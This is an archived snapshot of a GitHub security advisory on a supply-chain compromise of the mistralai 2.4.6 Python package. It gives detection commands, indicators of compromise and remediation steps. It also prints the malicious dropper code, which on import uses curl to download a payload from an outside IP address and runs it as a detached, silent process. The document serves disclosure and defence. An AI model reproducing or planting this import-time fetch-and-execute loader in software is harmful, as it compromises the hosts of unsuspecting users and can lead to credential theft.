Archive of AI

Source Snapshot / 2026-05-12-mistral-sdk-supply-chain-2

mistralai 2.4.6 恶意下载器安全通告

Linked event: 2026-05-12 · Mistral AI Official SDK Distribution Channels Hit by Supply Chain Attack; Python Package Embedded with Credential-Stealing Payload

Publisher
Mistral AI / GitHub
Archived
2026-11-23
Capture Method
Direct page capture
HTTP / SHA-256
200 / 12bd96ae741df4c8
Original URL
Open source ↗
Wayback Backup
Wayback archive ↗
This page preserves a plain-text static snapshot against link rot. When citing figures, tables, or full legal terms, verify against the original URL and Wayback Machine archive.

Skip to content

Navigation Menu

Appearance settings

You signed in with another tab or window. Reload to refresh your session.

You signed out in another tab or window. Reload to refresh your session.

You switched accounts on another tab or window. Reload to refresh your session.

Dismiss alert

{{ message }}

Repository navigation

Malicious dropper in mistralai 2.4.6 PyPI package

Nelson-PROIA

GHSA-wx9m-wx4f-4cmg

May 12, 2026

Affected versions

Patched versions

The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).

The mistralai PyPI project is currently quarantined.

mistralai==2.4.6 on PyPI.

Versions 2.4.5 and earlier are not known to be affected.

What the malicious code does

A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:

import subprocess as _sub

import os as _os

def _run_background_task():

if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):

_os.environ["MISTRAL_INIT"] = "1"

_url = "https://83.142.209.194/transformers.pyz"

_dest = "/tmp/transformers.pyz"

if not _os.path.exists(_dest):

_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)

if _os.path.exists(_dest):

[_sys.executable, _dest],

stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,

start_new_session=True, env=_os.environ.copy()

_run_background_task()

On Linux only, the function:

Returns early if MISTRAL_INIT is already set in the environment.

Sets MISTRAL_INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.

Downloads https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.

Spawns transformers.pyz with the current Python interpreter (sys.executable) as a detached process via Popen(..., start_new_session=True), with stdout and stderr discarded and any exception silently swallowed.

On non-Linux platforms the function returns immediately and does nothing.

The trigger is any import under mistralai.client.* (which all documented SDK usage performs); a bare import mistralai alone does not fire the loader because the package is laid out as a PEP 420 namespace package. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.

The contents of transformers.pyz are not in the package itself and are out of scope of this advisory.

Recommendation

Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward.

Check whether you are affected

Installed version:

pip show mistralai | grep -i ^version

Dependency files and lockfiles:

grep -n -E 'mistralai\b.*2\.4\.6' \

requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null

Dropped file on disk:

ls -la /tmp/transformers.pyz

The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.

Pin mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/client-python.git@v2.4.5.

On affected Linux hosts, rotate every credential reachable from the importing process and review host and cloud audit logs.

Indicators of compromise

File: /tmp/transformers.pyz

Process: a Python interpreter (sys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/null

Environment variable: MISTRAL_INIT=1

Outbound HTTPS to 83[.]142[.]209[.]194 from curl (no TLS verification)

Function added to the package: _run_background_task in src/mistralai/client/__init__.py

SHA-256 of the malicious sdist: 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

Public report with the dropper code: #523

Quarantined PyPI project: https://pypi.org/project/mistralai/

Related GitHub-curated advisory for the npm packages: GHSA-3q49-cfcf-g5fm

Mistral security advisory page: https://docs.mistral.ai/resources/security-advisories

TanStack advisory (same campaign): GHSA-g7cv-rxg3-hmpx

Broader campaign analysis (external):

SafeDep: https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/

StepSecurity: https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem

Socket: https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).

CVSS v3 base metrics

Attack vector

Attack complexity

Privileges required

User interaction

Confidentiality

Availability

Learn more about base metrics

Attack vector:

More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.

Attack complexity:

More severe for the least complex attacks.

Privileges required:

More severe if no privileges are required.

User interaction:

More severe when no user interaction is required.

More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.

Confidentiality:

More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.

More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.

Availability:

More severe when the loss of impacted component availability is highest.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

No known CVE

Embedded Malicious Code

The product contains code that appears to be malicious in nature.

Learn more on MITRE.

You can’t perform that action at this time.